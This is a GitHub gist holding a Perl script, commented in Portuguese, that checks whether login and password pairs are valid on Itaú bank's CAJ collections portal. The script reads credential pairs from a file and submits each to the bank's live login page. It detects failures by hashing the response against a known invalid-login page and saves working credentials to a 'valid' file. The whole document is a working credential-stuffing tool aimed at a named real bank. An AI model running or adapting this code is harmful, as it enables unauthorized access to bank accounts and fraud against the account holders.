Created
February 10, 2014 20:00
-
-
Save danilovazb/8923064 to your computer and use it in GitHub Desktop.
Verifica se logins são válidos no CAJ(Sistema de Processos de Apoio de Cobrança do Banco Itaú)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use Term::ANSIColor; | |
use MIME::Base64; | |
use WWW::Mechanize; | |
use LWP; | |
# BANNERSINHO | |
print color 'bold blue'; | |
print <<banner; | |
c0d3r: Danilo (: | |
.____ .__ _________ __ | |
| | ____ ____ |__| ____ \\_ ___ \\_____ |__| | |
| | / _ \\ / ___\\| |/ \\ / \\ \\/\\__ \\ | | | |
| |__( <_> ) /_/ > | | \\ \\ \\____/ __ \\_ | | | |
|_______ \\____/\\___ /|__|___| / \\______ (____ /\\__| | | |
\\/ /_____/ \\/ \\/ \\/\\______| | |
//Validador de Logins CAJ | |
banner | |
print color 'reset'; | |
######################################################################## | |
# Abre logins separados por ";" e faz a separação entre login e senha | |
######################################################################## | |
open(arq,'logins.txt') or die('Falha ao abrir ARQUIVO!'); | |
while (<arq>) | |
{ | |
chomp; | |
($login, $senha) = split(";"); #Faz o split no arquivo de logins por ";" | |
$user="teste"; #Usuário Teste | |
$pass="teste"; #Senha Teste | |
######################################################################## | |
#Propriedades da consulta, onde acessa o sistema e faz logins | |
######################################################################## | |
my $consulta = WWW::Mechanize->new(); | |
$consulta -> cookie_jar(HTTP::Cookies->new()); #Guarda cookies | |
$consulta -> post('https://ww59.itau.com.br/portalcaj/acesso.jsp'); # Pagina de login | |
$consulta -> field ('eBusinessId' => $login); #Nome do campo de login no source da pagina | |
$consulta -> field ('senha' => $senha); #Nome do campo de senha no source da pagina | |
$consulta -> click (''); #Não foi encontrado o nome para o botão de click, logo foi deixado em branco para simular o botão | |
$consulta -> save_content("pagina.html"); #Salva o conteúdo da pagina em um .html | |
######################################################################## | |
#Cria a hash e valida ela com a pagina de login para ver se é valido ou não | |
######################################################################## | |
$hash <- system("md5sum pagina.html"); #Gera um hash da pagina após o login | |
system ("md5sum pagina.html > hash.txt"); #Grava o hash da pagina em uma arquivo TXT | |
my $file_name = q/hash.txt/; | |
open my $handle, '<', $file_name or die qq/Error : $!/; #Abre o arquivo txt contendo as hash | |
while( defined ( my $line = <$handle> ) ) { #Lê linha a linha do arquivo | |
if($line =~ /f3611bdb311be17274a7281e644a9f00/) #Pega a hash da pagina de login inválido e compara com as paginas seguintes de logins | |
{ | |
my $arquivo = 'inválidos.txt'; #Cria um arquivo txt para logins inválidos | |
open(my $fh, '>>', $arquivo) or die "Não foi possível abrir o arquivo '$arquivo' $!"; | |
print color 'bold red'; | |
print "Usuário: $login\nStatus: Inválido\n\n"; | |
print $fh "$login,$senha\n"; | |
print color 'reset'; | |
close $fh; | |
} else { | |
my $arquivo = 'válidos.txt'; #Cria um arquivo txt para logins válidos | |
open(my $fh, '>>', $arquivo) or die "Não foi possível abrir o arquivo '$arquivo' $!"; | |
print color 'bold green'; | |
print "Usuário: $login\nStatus: Válido\n\n"; | |
print $fh "$login,$senha\n"; | |
print color 'reset'; | |
close $fh; | |
} | |
system("rm -rf pagina.html"); | |
} | |
} | |
close(arq); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment